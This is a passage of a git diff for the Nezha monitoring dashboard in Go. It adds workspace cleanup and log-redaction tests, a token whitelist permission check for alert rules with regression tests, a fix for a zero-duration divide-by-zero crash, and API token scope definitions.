cleanupErrors = append(cleanupErrors, fmt.Errorf("workspace payload residue remains: %w", err)) + } + if len(cleanupErrors) == 0 { + if err := os.RemoveAll(workspace.root); err != nil { + cleanupErrors = append(cleanupErrors, fmt.Errorf("remove workspace: %w", err)) + } + } + return errors.Join(cleanupErrors...) +} diff --git a/integration/agentcompat/internal/workspace/workspace_test.go b/integration/agentcompat/internal/workspace/workspace_test.go new file mode 100644 index 00000000..86179e5b --- /dev/null +++ b/integration/agentcompat/internal/workspace/workspace_test.go @@ -0,0 +1,228 @@ +//go:build linux + +package workspace + +import ( + "context" + "errors" + "net" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestWorkspace_RemovesWorkspace(t *testing.T) { + // Given + workspace, err := New(t.Context()) + if err != nil { + t.Fatal(err) + } + root := workspace.Root() + // When + if err := workspace.Close(); err != nil { + t.Fatal(err) + } + // Then + if _, err := os.Stat(root); !os.IsNotExist(err) { + t.Fatalf("workspace still exists: %v", err) + } +} + +func TestWorkspace_RedactsLogs(t *testing.T) { + // Given + workspace, err := New(t.Context()) + if err != nil { + t.Fatal(err) + } + defer workspace.Close() + // When + logFile, err := workspace.Log("agent") + if err != nil { + t.Fatal(err) + } + if _, err := logFile.WriteString("Authorization: Bearer eyJsecret.secret.secret password=top-secret\n" + strings.Repeat("x", defaultLogBytes*2)); err != nil { + t.Fatal(err) + } + if err := logFile.Close(); err != nil { + t.Fatal(err) + } + // Then + data, err := os.ReadFile(logFile.Name()) + if err != nil { + t.Fatal(err) + } + if strings.Contains(string(data), "top-secret") || strings.Contains(string(data), "eyJsecret") { + t.Fatalf("secret survived log redaction: %s", data) + } + if len(data) > defaultLogBytes { + t.Fatalf("log bytes = %d, limit = %d", len(data), defaultLogBytes) + } +} + +func TestWorkspace_AdoptsListener(t *testing.T) { + // Given + workspace, err := New(t.Context()) + if err != nil { + t.Fatal(err) + } + defer workspace.Close() + listener, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + // When + owned, err := workspace.AdoptListener(listener) + if err != nil { + t.Fatal(err) + } + // Then + if _, err := listener.Accept(); err == nil { + t.Fatal("original listener retained ownership") + } + if owned.FileDescriptor() < 3 { + t.Fatalf("listener FD = %d", owned.FileDescriptor()) + } + extraFile, err := owned.ExtraFile() + if err != nil { + t.Fatal(err) + } + if err := extraFile.Close(); err != nil { + t.Fatal(err) + } +} + +func TestWorkspace_BuildsBinaryInRunDirectory(t *testing.T) { + // Given + workspace, err := New(t.Context()) + if err != nil { + t.Fatal(err) + } + defer workspace.Close() + source := t.TempDir() + if err := os.WriteFile(filepath.Join(source, "go.mod"), []byte("module example.com/workspacefixture\n\ngo 1.26.3\n"), 0o600); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(source, "main.go"), []byte("package main\nfunc main() {}\n"), 0o600); err != nil { + t.Fatal(err) + } + + // When + binaryPath, err := workspace.Build(t.Context(), BuildSpec{Name: "fixture", SourceDir: source, Package: "."}) + + // Then + if err != nil { + t.Fatal(err) + } + if filepath.Dir(binaryPath) != filepath.Join(workspace.Root(), "bin") { + t.Fatalf("binary path = %s", binaryPath) + } + if info, err := os.Stat(binaryPath); err != nil || info.Mode()&0o111 == 0 { + t.Fatalf("binary is not executable: info=%v err=%v", info, err) + } +} + +func TestWorkspace_ResolvesAbsoluteRegularGoExecutable(t *testing.T) { + // When + path, err := resolveGoExecutable() + + // Then + if err != nil { + t.Fatal(err) + } + if !filepath.IsAbs(path) { + t.Fatalf("Go executable path is not absolute: %s", path) + } + info, err := os.Stat(path) + if err != nil || !info.Mode().IsRegular() || info.Mode()&0o111 == 0 { + t.Fatalf("Go executable is not an executable regular file: info=%v err=%v", info, err) + } +} + +func TestWorkspace_PreservesEvidenceWhenTrackedPIDRemains(t *testing.T) { + // Given + workspace, err := New(context.Background()) + if err != nil { + t.Fatal(err) + } + root := workspace.Root() + if err := workspace.TrackPID(os.Getpid()); err != nil { + t.Fatal(err) + } + + // When + err = workspace.Close() + + // Then + if err == nil || !strings.Contains(err.Error(), "tracked PID") { + t.Fatalf("close error = %v", err) + } + if _, statErr := os.Stat(root); statErr != nil { + t.Fatalf("workspace evidence was removed: %v", statErr) + } + if removeErr := os.RemoveAll(root); removeErr != nil && !errors.Is(removeErr, os.ErrNotExist) { + t.Fatal(removeErr) + } +} + +func TestWorkspace_RetriesCleanupAfterTrackedPIDExits(t *testing.T) { + // Given + workspace, err := New(context.Background()) + if err != nil { + t.Fatal(err) + } + root := workspace.Root() + command, input := startWorkspaceHelper(t) + if err := workspace.TrackPID(command.Process.Pid); err != nil { + t.Fatal(err) + } + if err := workspace.Close(); err == nil { + t.Fatal("workspace closed while tracked PID was live") + } + + // When + if err := input.Close(); err != nil { + t.Fatal(err) + } + if err := command.Wait(); err != nil { + t.Fatal(err) + } + if err := workspace.Close(); err != nil { + t.Fatal(err) + } + + // Then + if _, err := os.Stat(root); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("workspace remains after retry: %v", err) + } +} + +func TestWorkspace_RejectsResourcesAfterClose(t *testing.T) { + // Given + workspace, err := New(context.Background()) + if err != nil { + t.Fatal(err) + } + if err := workspace.Close(); err != nil { + t.Fatal(err) + } + listener, err := net.Listen("tcp4", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer listener.Close() + + // When / Then + if _, err := workspace.Log("late"); err == nil { + t.Fatal("closed workspace accepted a log") + } + if _, err := workspace.AdoptListener(listener); err == nil { + t.Fatal("closed workspace accepted a listener") + } + if err := workspace.TrackPID(os.Getpid()); err == nil { + t.Fatal("closed workspace accepted a PID") + } + if err := workspace.TrackProcessGroup(os.Getpid()); err == nil { + t.Fatal("closed workspace accepted a process group") + } +} diff --git a/model/alertrule.go b/model/alertrule.go index f347044b..37e734c6 100644 --- a/model/alertrule.go +++ b/model/alertrule.go @@ -3,6 +3,7 @@ package model import ( "slices" + "github.com/gin-gonic/gin" "github.com/goccy/go-json" "gorm.io/gorm" ) @@ -63,6 +64,62 @@ func (r *AlertRule) Enabled() bool { return r.Enable != nil && *r.Enable } +// HasPermission extends the default owner/admin check with PAT +// server_ids whitelist enforcement. AlertRule.Snapshot fans out across +// every owner-visible server filtered only by Rule.Ignore semantics +// (RuleCoverAll: deny-list; RuleCoverIgnoreAll: allow-list). A +// server-limited PAT must therefore satisfy the same cover-fanout rule +// the cron / service paths use — otherwise it can create or update a +// rule that monitors servers outside its whitelist (admin owner: any +// server in the system). +// +// Unknown Rule.Cover is fail-closed: Snapshot's switch defaults to +// "monitor everything", so persisting it would defeat the PAT cover +// guard. createAlertRule / updateAlertRule should also reject unknown +// covers at write time; this method is the runtime safety net. +func (r *AlertRule) HasPermission(ctx *gin.Context) bool { + if !r.Common.HasPermission(ctx) { + return false + } + v, ok := ctx.Get(CtxKeyAPIToken) + if !ok { + return true + } + tok, _ := v.(APITokenAccessor) + if tok == nil { + return true + } + if wl, ok := tok.(APITokenWhitelistView); ok && len(wl.ServerIDs()) == 0 { + return true + } + for _, rule := range r.Rules { + if rule == nil { + continue + } + switch rule.Cover { + case RuleCoverAll: + denyIDs := make([]uint64, 0, len(rule.Ignore)) + for id, ignored := range rule.Ignore { + if ignored { + denyIDs = append(denyIDs, id) + } + } + if !DenyListSafeForLimitedPAT(tok, r.GetUserID(), denyIDs) { + return false + } + case RuleCoverIgnoreAll: + for id, monitored := range rule.Ignore { + if monitored && !tok.CanAccessServer(id) { + return false + } + } + default: + return false + } + } + return true +} + // Snapshot 对传入的Server进行该报警规则下所有type的检查 返回每项检查结果 func (r *AlertRule) Snapshot(cycleTransferStats *CycleTransferStats, server *Server, db *gorm.DB) []bool { point := make([]bool, len(r.Rules)) @@ -109,6 +166,13 @@ func (r *AlertRule) Check(points [][]bool) (int, bool) { continue } else { // 常规报警 + // duration<=0 是无意义的规则（持续 0 秒）：直接跳过该规则， + // 既不污染 hasPassedRule（否则会连带跳过同一 alert 里其它有效 + // 规则），也避免下方 fail*100/total 在 total=0 时整数除零 panic + // —— checkStatus 无 recover，一次 panic 会拖垮整个告警 goroutine。 + if duration <= 0 { + continue + } if hasPassedRule = boundCheck(len(points), duration, hasPassedRule); hasPassedRule { continue } @@ -132,6 +196,28 @@ func (r *AlertRule) Check(points [][]bool) (int, bool) { return slices.Max(durations), hasPassedRule } +// RetentionWindow 返回保留历史采样所需的长度（各规则窗口的最大值），只依赖 +// 规则定义而非 Check 的判定结果——否则窗口未填满时 Check 返回的 max=0 会被 +// 误判为"无需历史"而清空采样，使规则永远攒不够样本。 +// 各规则类型回看的采样数必须与 Check 中实际读取的窗口一致： +// - 周期流量规则：Check 只读最后 1 个采样点 → 需要 1 +// - 离线规则、常规规则：Check 读取 points[len-Duration:] → 需要 Duration +func (r *AlertRule) RetentionWindow() int { + window := 0 + for _, rule := range r.Rules { + var need int + if rule.IsTransferDurationRule() { + need = 1 + } else if d := int(rule.Duration); d > 0 { + need = d + } + if need > window { + window = need + } + } + return window +} + func boundCheck(length, duration int, passed bool) bool { if passed { return true diff --git a/model/alertrule_pat_whitelist_test.go b/model/alertrule_pat_whitelist_test.go new file mode 100644 index 00000000..49fefd6c --- /dev/null +++ b/model/alertrule_pat_whitelist_test.go @@ -0,0 +1,227 @@ +package model + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" +) + +// H4 regression: AlertRule had no AlertRule.HasPermission override, so +// limited PATs could create / list / update rules that fan out to every +// owner server. A RuleCoverAll + empty Ignore rule monitors every server +// the owner can reach (admin owner: every server in the system), which is +// exactly the cover-fanout the PAT whitelist is supposed to contain. +func TestAlertRuleHasPermission_DeniesRuleCoverAllEmptyIgnoreForLimitedPAT(t *testing.T) { + saved := OwnerServerIDsLookup + savedAdmin := OwnerIsAdminLookup + savedAll := AllServerIDsLookup + t.Cleanup(func() { + OwnerServerIDsLookup = saved + OwnerIsAdminLookup = savedAdmin + AllServerIDsLookup = savedAll + }) + OwnerServerIDsLookup = func(uid uint64) []uint64 { + if uid == 100 { + return []uint64{1, 2} + } + return nil + } + OwnerIsAdminLookup = func(uid uint64) bool { return false } + AllServerIDsLookup = func() []uint64 { return []uint64{1, 2, 3} } + + rule := &AlertRule{ + Common: Common{ID: 9, UserID: 100}, + Rules: []*Rule{{ + Type: "cpu", + Cover: RuleCoverAll, + Ignore: nil, + }}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) // doesn't cover 2 + + if rule.HasPermission(ctx) { + t.Fatal("server-limited PAT must not be allowed to operate on RuleCoverAll with empty Ignore — runtime fans out to owner server 2") + } +} + +func TestAlertRuleHasPermission_AllowsRuleCoverIgnoreAllEmptyIgnore(t *testing.T) { + saved := OwnerServerIDsLookup + t.Cleanup(func() { OwnerServerIDsLookup = saved }) + OwnerServerIDsLookup = func(uid uint64) []uint64 { return []uint64{1, 2} } + + rule := &AlertRule{ + Common: Common{ID: 10, UserID: 100}, + Rules: []*Rule{{ + Type: "cpu", + Cover: RuleCoverIgnoreAll, + Ignore: nil, // allow-list of zero ⇒ no-op + }}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + + if !rule.HasPermission(ctx) { + t.Fatal("RuleCoverIgnoreAll + empty Ignore is a no-op rule; PAT must remain allowed") + } +} + +func TestAlertRuleHasPermission_DeniesUnknownCover(t *testing.T) { + saved := OwnerServerIDsLookup + t.Cleanup(func() { OwnerServerIDsLookup = saved }) + OwnerServerIDsLookup = func(uid uint64) []uint64 { return []uint64{1} } + + rule := &AlertRule{ + Common: Common{ID: 11, UserID: 100}, + Rules: []*Rule{{ + Type: "cpu", + Cover: 99, // unknown ⇒ runtime Snapshot falls through to "monitor everything" + }}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + + if rule.HasPermission(ctx) { + t.Fatal("unknown Rule.Cover must fail-closed for limited PAT — Snapshot does not gate on it") + } +} + +// Regression: AlertRule.HasPermission built the deny-list from every key in +// Rule.Ignore regardless of its bool value, but Rule.Snapshot only skips a +// server when Ignore[id] == true. A limited PAT whitelisted to {1} could +// submit RuleCoverAll with Ignore{2: false}; the permission check treated 2 as +// denied (safe) while the runtime still monitored server 2. +func TestAlertRuleHasPermission_DeniesRuleCoverAllIgnoreFalseForLimitedPAT(t *testing.T) { + saved := OwnerServerIDsLookup + savedAdmin := OwnerIsAdminLookup + savedAll := AllServerIDsLookup + t.Cleanup(func() { + OwnerServerIDsLookup = saved + OwnerIsAdminLookup = savedAdmin + AllServerIDsLookup = savedAll + }) + OwnerServerIDsLookup = func(uid uint64) []uint64 { + if uid == 100 { + return []uint64{1, 2} + } + return nil + } + OwnerIsAdminLookup = func(uid uint64) bool { return false } + AllServerIDsLookup = func() []uint64 { return []uint64{1, 2, 3} } + + rule := &AlertRule{ + Common: Common{ID: 13, UserID: 100}, + Rules: []*Rule{{ + Type: "cpu", + Cover: RuleCoverAll, + Ignore: map[uint64]bool{2: false}, // key present but NOT actually ignored at runtime + }}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) // doesn't cover 2 + + if rule.HasPermission(ctx) { + t.Fatal("Ignore{2:false} does NOT exclude server 2 at runtime; limited PAT must be denied") + } +} + +// A genuine deny entry (value true) for every out-of-whitelist server keeps the +// rule contained and must remain allowed. +func TestAlertRuleHasPermission_AllowsRuleCoverAllIgnoreTrueCoversWhitelistGap(t *testing.T) { + saved := OwnerServerIDsLookup + savedAdmin := OwnerIsAdminLookup + savedAll := AllServerIDsLookup + t.Cleanup(func() { + OwnerServerIDsLookup = saved + OwnerIsAdminLookup = savedAdmin + AllServerIDsLookup = savedAll + }) + OwnerServerIDsLookup = func(uid uint64) []uint64 { return []uint64{1, 2} } + OwnerIsAdminLookup = func(uid uint64) bool { return false } + AllServerIDsLookup = func() []uint64 { return []uint64{1, 2} } + + rule := &AlertRule{ + Common: Common{ID: 14, UserID: 100}, + Rules: []*Rule{{ + Type: "cpu", + Cover: RuleCoverAll, + Ignore: map[uint64]bool{2: true}, // server 2 genuinely excluded + }}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) + + if !rule.HasPermission(ctx) { + t.Fatal("Ignore{2:true} excludes the only out-of-whitelist server; PAT must be allowed") + } +} + +// Regression: the RuleCoverIgnoreAll branch checked CanAccessServer for every +// key in Rule.Ignore, but Rule.Snapshot only monitors a server when +// Ignore[id] == true. A limited PAT whitelisted to {1} submitting +// RuleCoverIgnoreAll with Ignore{2: false} (server 2 is NOT monitored at +// runtime) was wrongly denied because the foreign key 2 failed the whitelist. +func TestAlertRuleHasPermission_AllowsRuleCoverIgnoreAllIgnoreFalseForLimitedPAT(t *testing.T) { + saved := OwnerServerIDsLookup + t.Cleanup(func() { OwnerServerIDsLookup = saved }) + OwnerServerIDsLookup = func(uid uint64) []uint64 { return []uint64{1, 2} } + + rule := &AlertRule{ + Common: Common{ID: 15, UserID: 100}, + Rules: []*Rule{{ + Type: "cpu", + Cover: RuleCoverIgnoreAll, + Ignore: map[uint64]bool{2: false}, // key present but server 2 is NOT monitored + }}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) // doesn't cover 2 + + if !rule.HasPermission(ctx) { + t.Fatal("Ignore{2:false} does NOT monitor server 2 at runtime; limited PAT must remain allowed") + } +} + +// The genuine allow entry (value true) for an out-of-whitelist server is the +// case that must still be denied. +func TestAlertRuleHasPermission_DeniesRuleCoverIgnoreAllIgnoreTrueForLimitedPAT(t *testing.T) { + saved := OwnerServerIDsLookup + t.Cleanup(func() { OwnerServerIDsLookup = saved }) + OwnerServerIDsLookup = func(uid uint64) []uint64 { return []uint64{1, 2} } + + rule := &AlertRule{ + Common: Common{ID: 16, UserID: 100}, + Rules: []*Rule{{ + Type: "cpu", + Cover: RuleCoverIgnoreAll, + Ignore: map[uint64]bool{2: true}, // server 2 IS monitored at runtime + }}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + ctx.Set(CtxKeyAPIToken, &stubPATAccessor{ids: []uint64{1}}) // doesn't cover 2 + + if rule.HasPermission(ctx) { + t.Fatal("Ignore{2:true} monitors server 2; server-limited PAT must be denied") + } +} + +func TestAlertRuleHasPermission_NoPATPassesViaCommonHasPermission(t *testing.T) { + rule := &AlertRule{ + Common: Common{ID: 12, UserID: 100}, + Rules: []*Rule{{Type: "cpu", Cover: RuleCoverAll}}, + } + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + + if !rule.HasPermission(ctx) { + t.Fatal("owner without PAT must keep the existing owner/admin pass") + } +} diff --git a/model/alertrule_test.go b/model/alertrule_test.go index 8ec971b7..72cd18df 100644 --- a/model/alertrule_test.go +++ b/model/alertrule_test.go @@ -315,3 +315,178 @@ func assertEq(t *testing.T, msg string, exp, act any) { t.Fatalf("failed to test for %s. exp=[%v] but act=[%v]", msg, exp, act) } } + +// TestAlertRule_ZeroDurationGeneralRule guards against a config-reachable DoS: +// a general rule with Duration:0 (the API validates Duration as "optional" with +// no minimum) previously hit fail*100/total with total==0, panicking with an +// integer divide-by-zero inside checkStatus — which has no recover and would +// take down the whole alert goroutine. boundCheck now treats duration<=0 as a +// passed (no-op) rule, so Check must return without panicking. +func TestAlertRule_ZeroDurationGeneralRule(t *testing.T) { + defer func() { + if r := recover(); r != nil { + t.Fatalf("Check panicked on a Duration:0 general rule (config-reachable DoS): %v", r) + } + }() + + rule := &AlertRule{ + Rules: []*Rule{{Type: "cpu", Duration: 0}}, + } + // The only contract here is "do not panic". A zero-duration rule is skipped, + // so it contributes nothing to the verdict and max stays 0. + maxD, _ := rule.Check([][]bool{{true}, {false}}) + if maxD != 0 { + t.Fatalf("a skipped Duration:0 rule must not contribute to max, got %d", maxD) + } +} + +// Mixing a valid rule with a zero-duration rule must also be safe: the zero +// rule is skipped, the real rule still drives the verdict. +func TestAlertRule_ZeroDurationMixedWithValidRule(t *testing.T) { + defer func() { + if r := recover(); r != nil { + t.Fatalf("Check panicked on a mixed zero/valid rule set: %v", r) + } + }() + + rule := &AlertRule{ + Rules: []*Rule{ + {Type: "cpu", Duration: 0}, + {Type: "cpu", Duration: 3}, + }, + } + maxD, _ := rule.Check([][]bool{{true, false}, {true, false}, {true, false}}) + if maxD != 3 { + t.Fatalf("the valid Duration:3 rule must still set max=3, got %d", maxD) + } +} + +// trimSamples mirrors singleton.checkStatus retention: keep the most recent +// `window` samples, clear when window<=0. window comes from RetentionWindow(), +// the production code under test. +func trimSamples(samples [][]bool, window int) [][]bool { + if window <= 0 { + return samples[:0] + } else if window < len(samples) { + return samples[len(samples)-window:] + } + return samples +} + +// TestAlertRule_GeneralRuleAccumulatesSamples is a regression guard: a normal +// Duration>1 general rule must be able to fire. checkStatus appends one sample +// per tick then trims to the retention window; if the window is derived from +// Check's verdict (which is 0 while the rule is still filling) the history is +// wiped every tick, the window never reaches Duration, and the alert never +// raises. RetentionWindow() must keep enough samples for the rule to converge. +func TestAlertRule_GeneralRuleAccumulatesSamples(t *testing.T) { + const duration = 10 + rule := &AlertRule{ + Rules: []*Rule{{Type: "cpu", Duration: duration}}, + } + + var samples [][]bool + var lastPassed bool + maxLen := 0 + for tick := 0; tick < duration*3; tick++ { + samples = append(samples, []bool{false}) // failing sample + _, lastPassed = rule.Check(samples) + samples = trimSamples(samples, rule.RetentionWindow()) + if len(samples) > maxLen { + maxLen = len(samples) + } + } + + if maxLen < duration { + t.Fatalf("samples never accumulated to Duration: max window reached %d, want >= %d", maxLen, duration) + } + if lastPassed { + t.Fatalf("a server failing every tick must eventually fail the check (passed=false), got passed=true") + } +} + +// TestAlertRule_RetentionWindow pins the retention contract directly. +func TestAlertRule_RetentionWindow(t *testing.T) { + cases := []struct { + msg string + rule *AlertRule + want int + }{ + {"single general", &AlertRule{Rules: []*Rule{{Type: "cpu", Duration: 10}}}, 10}, + {"zero duration only", &AlertRule{Rules: []*Rule{{Type: "cpu", Duration: 0}}}, 0}, + {"mixed picks max", &AlertRule{Rules: []*Rule{{Type: "cpu", Duration: 0}, {Type: "cpu", Duration: 7}}}, 7}, + {"offline keeps Duration", &AlertRule{Rules: []*Rule{{Type: "offline", Duration: 30}}}, 30}, + {"cycle looks back one", &AlertRule{Rules: []*Rule{{Type: "net_in_speed_cycle"}}}, 1}, + } + for _, c := range cases { + if got := c.rule.RetentionWindow(); got != c.want { + t.Fatalf("%s: RetentionWindow()=%d want %d", c.msg, got, c.want) + } + } +} + +// TestAlertRule_OfflineRuleAccumulatesSamples is a regression guard for offline +// alerts that never fire. Check's offline branch reads points[len-Duration:], +// so it needs Duration samples retained; if RetentionWindow trims to 1 (as an +// earlier fix wrongly did for offline rules), the window never reaches Duration, +// boundCheck keeps returning "passed", and the offline alert never raises. +func TestAlertRule_OfflineRuleAccumulatesSamples(t *testing.T) { + const duration = 10 + rule := &AlertRule{Rules: []*Rule{{Type: "offline", Duration: duration}}} + + var samples [][]bool + var lastPassed bool + maxLen := 0 + for tick := 0; tick < duration*3; tick++ { + samples = append(samples, []bool{false}) // offline sample + _, lastPassed = rule.Check(samples) + samples = trimSamples(samples, rule.RetentionWindow()) + if len(samples) > maxLen { + maxLen = len(samples) + } + } + + if maxLen < duration { + t.Fatalf("offline samples never accumulated to Duration: max window reached %d, want >= %d", maxLen, duration) + } + if lastPassed { + t.Fatalf("a server offline every tick must eventually fail the offline check (passed=false), got passed=true") + } +} + +// TestAlertRule_CombinedRuleAccumulatesSamples drives the real trim loop for +// mixed-type alerts. The verdict is AND-of-failure: an incident fires only once +// every rule's lookback window is full and all fail. RetentionWindow must keep +// enough samples for the largest window (offline/general need Duration, cycle +// needs 1); if any rule type is under-retained the alert never fires. +func TestAlertRule_CombinedRuleAccumulatesSamples(t *testing.T) { + cases := []struct { + msg string + rule *AlertRule + sample []bool + fireAt int // tick index where passed must first become false + wantWindow int + }{ + {"general3+general10", &AlertRule{Rules: []*Rule{{Type: "cpu", Duration: 3}, {Type: "memory", Duration: 10}}}, []bool{false, false}, 9, 10}, + {"offline5+general10", &AlertRule{Rules: []*Rule{{Type: "offline", Duration: 5}, {Type: "cpu", Duration: 10}}}, []bool{false, false}, 9, 10}, + {"transfer+general8", &AlertRule{Rules: []*Rule{{Type: "net_in_speed_cycle"}, {Type: "cpu", Duration: 8}}}, []bool{false, false}, 7, 8}, + {"offline3+offline12", &AlertRule{Rules: []*Rule{{Type: "offline", Duration: 3}, {Type: "offline", Duration: 12}}}, []bool{false, false}, 11, 12}, + } + for _, c := range cases { + if got := c.rule.RetentionWindow(); got != c.wantWindow { + t.Fatalf("%s: RetentionWindow()=%d want %d", c.msg, got, c.wantWindow) + } + var samples [][]bool + firstFire := -1 + for tick := 0; tick < c.wantWindow*3; tick++ { + samples = append(samples, append([]bool(nil), c.sample...)) + if _, passed := c.rule.Check(samples); !passed && firstFire < 0 { + firstFire = tick + } + samples = trimSamples(samples, c.rule.RetentionWindow()) + } + if firstFire != c.fireAt { + t.Fatalf("%s: alert first fired at tick %d, want %d (never-firing = -1)", c.msg, firstFire, c.fireAt) + } + } +} diff --git a/model/api_token.go b/model/api_token.go new file mode 100644 index 00000000..4b773eb5 --- /dev/null +++ b/model/api_token.go @@ -0,0 +1,385 @@ +package model + +import ( + "crypto/sha256" + "encoding/hex" + "slices" + "strings" + "time" + + "gorm.io/gorm" +) + +// Scope 命名规范（唯一一套）：nezha:{resource}:{verb} +// +// - resource: inventory / server / service / alertrule / cron / ddns / nat / +// notification / notification-group / transfer / admin +// - verb: read / write / delete / exec +// +// `*` 通配在 resource 或 verb 位均可： +// - nezha:server:* 给定资源的所有动作 +// - nezha:* admin-only 全权 +// +// inventory 与 server 已拆开：inventory 管“能看到/能删哪些机器”——`server.list` +// MCP tool、`GET /api/v1/server`、`/server-group`、batch-delete server/group 都用 +// nezha:inventory:{read,delete}；server 管对已知机器的运行态操作（server.get、 +// exec、文件读写、编辑配置、metrics）。同一 scope 同时管 MCP tool 和 REST endpoint。 +// +// 历史上还有 mcp:* 一套，会被 HasScope 通过别名映射到 nezha:server:* 子集。 +// 由于 HasScope 同时服务 MCP tool 调度与 REST scope middleware，旧 mcp:fs:write +// 等会静默扩到所有 nezha:server:write REST 路由——这是命名分裂带来的提权漏洞。 +// 现在 mcp:* 不再在运行时被识别；createAPIToken 入口对老调用方做一次性归一化： +// 只读/exec 类（mcp:fs:read、mcp:server:read、mcp:server:exec）映射到对应 +// nezha:* read/exec scope；mcp:fs:write、mcp:fs:delete、mcp:* 一律拒签。 +// 数据库已有的危险旧 scope 由 MigrateLegacyMCPScopes 在启动迁移阶段清理。 +const ( + ScopeNezhaAll = "nezha:*" + + // inventory 资源域：管理后台对“服务器清单”本身的枚举与删除（列出 GET /server、 + // 删除 batch-delete/server、server-group 的列出/删除，以及 MCP server.list）。 + // 刻意与 nezha:server:* 分开：后者是对已知 server 的运行态操作（exec / 文件读写 / + // 编辑 / metrics），而 inventory 是“能看到/能删哪些机器”的台账权限。拆开后， + // 一张只跑命令的 PAT 不必同时具备遍历和删除整个清单的能力。 + ScopeInventoryRead = "nezha:inventory:read" + ScopeInventoryDelete = "nezha:inventory:delete" + + ScopeServerRead = "nezha:server:read" + ScopeServerWrite = "nezha:server:write" + ScopeServerDelete = "nezha:server:delete" + ScopeServerExec = "nezha:server:exec" + + ScopeServiceRead = "nezha:service:read" + ScopeServiceWrite = "nezha:service:write" + ScopeServiceDelete = "nezha:service:delete" + + ScopeAlertRuleRead = "nezha:alertrule:read" + ScopeAlertRuleWrite = "nezha:alertrule:write" + ScopeAlertRuleDelete = "nezha:alertrule:delete" + + ScopeCronRead = "nezha:cron:read" + ScopeCronWrite = "nezha:cron:write" + ScopeCronDelete = "nezha:cron:delete" + ScopeCronExec = "nezha:cron:exec" + + ScopeDDNSRead = "nezha:ddns:read" + ScopeDDNSWrite = "nezha:ddns:write" + ScopeDDNSDelete = "nezha:ddns:delete" + + ScopeNATRead = "nezha:nat:read" + ScopeNATWrite = "nezha:nat:write" + ScopeNATDelete = "nezha:nat:delete" + + ScopeNotificationRead = "nezha:notification:read" + ScopeNotificationWrite = "nezha:notification:write" + ScopeNotificationDelete = "nezha:notification:delete" + + ScopeNotificationGroupRead = "nezha:notification-group:read" + ScopeNotificationGroupWrite = "nezha:notification-group:write" // #nosec G101 -- scope identifier, not a credential + ScopeNotificationGroupDelete = "nezha:notification-group:delete" + + ScopeTransferRead = "nezha:transfer:read" + ScopeTransferWrite = "nezha:transfer:write" + ScopeTransferDelete = "nezha:transfer:delete" + + ScopeAdminAll = "nezha:admin:*" +) + +var AllScopes = []string{ + ScopeInventoryRead, ScopeInventoryDelete, + ScopeServerRead, ScopeServerWrite, ScopeServerDelete, ScopeServerExec, + ScopeServiceRead, ScopeServiceWrite, ScopeServiceDelete, + ScopeAlertRuleRead, ScopeAlertRuleWrite, ScopeAlertRuleDelete, + ScopeCronRead, ScopeCronWrite, ScopeCronDelete, ScopeCronExec, + ScopeDDNSRead, ScopeDDNSWrite, ScopeDDNSDelete, + ScopeNATRead, ScopeNATWrite, ScopeNATDelete, + ScopeNotificationRead, ScopeNotificationWrite, ScopeNotificationDelete, + ScopeNotificationGroupRead, ScopeNotificationGroupWrite, ScopeNotificationGroupDelete, + ScopeTransferRead, ScopeTransferWrite, ScopeTransferDelete, + + "nezha:inventory:*", + "nezha:server:*", + "nezha:service:*", + "nezha:alertrule:*", + "nezha:cron:*", + "nezha:ddns:*", + "nezha:nat:*", + "nezha:notification:*", + "nezha:notification-group:*", + "nezha:transfer:*", +} + +var AdminOnlyScopes = []string{ScopeNezhaAll, ScopeAdminAll} + +// legacyMCPReadOnlyRewrite 列出仍允许 createAPIToken 入口重写为 nezha:* 的旧 scope。 +// 只有只读/exec 类被接受；write/delete/wildcard 一律拒签——保留映射等于扩权。 +var legacyMCPReadOnlyRewrite = map[string]string{ + "mcp:server:read": ScopeServerRead, + "mcp:server:exec": ScopeServerExec, + "mcp:fs:read": ScopeServerRead, +} + +// NormalizeIncomingScope 把入参里的旧 mcp:* scope 重写到 nezha:* 命名。 +// 第二个返回值表示该 scope 是否被允许（false = 危险旧 scope，调用方应拒签）。 +func NormalizeIncomingScope(s string) (string, bool) { + if mapped, ok := legacyMCPReadOnlyRewrite[s]; ok { + return mapped, true + } + if strings.HasPrefix(s, "mcp:") { + return s, false + } + return s, true +} + +// APITokenPrefix 是明文 token 的人类可识别前缀。`nzp_` = nezha personal access token。 +const APITokenPrefix = "nzp_" + +// APIToken 是用户用于程序化访问的长期凭证。MCP 接入点 /mcp 用它做鉴权。 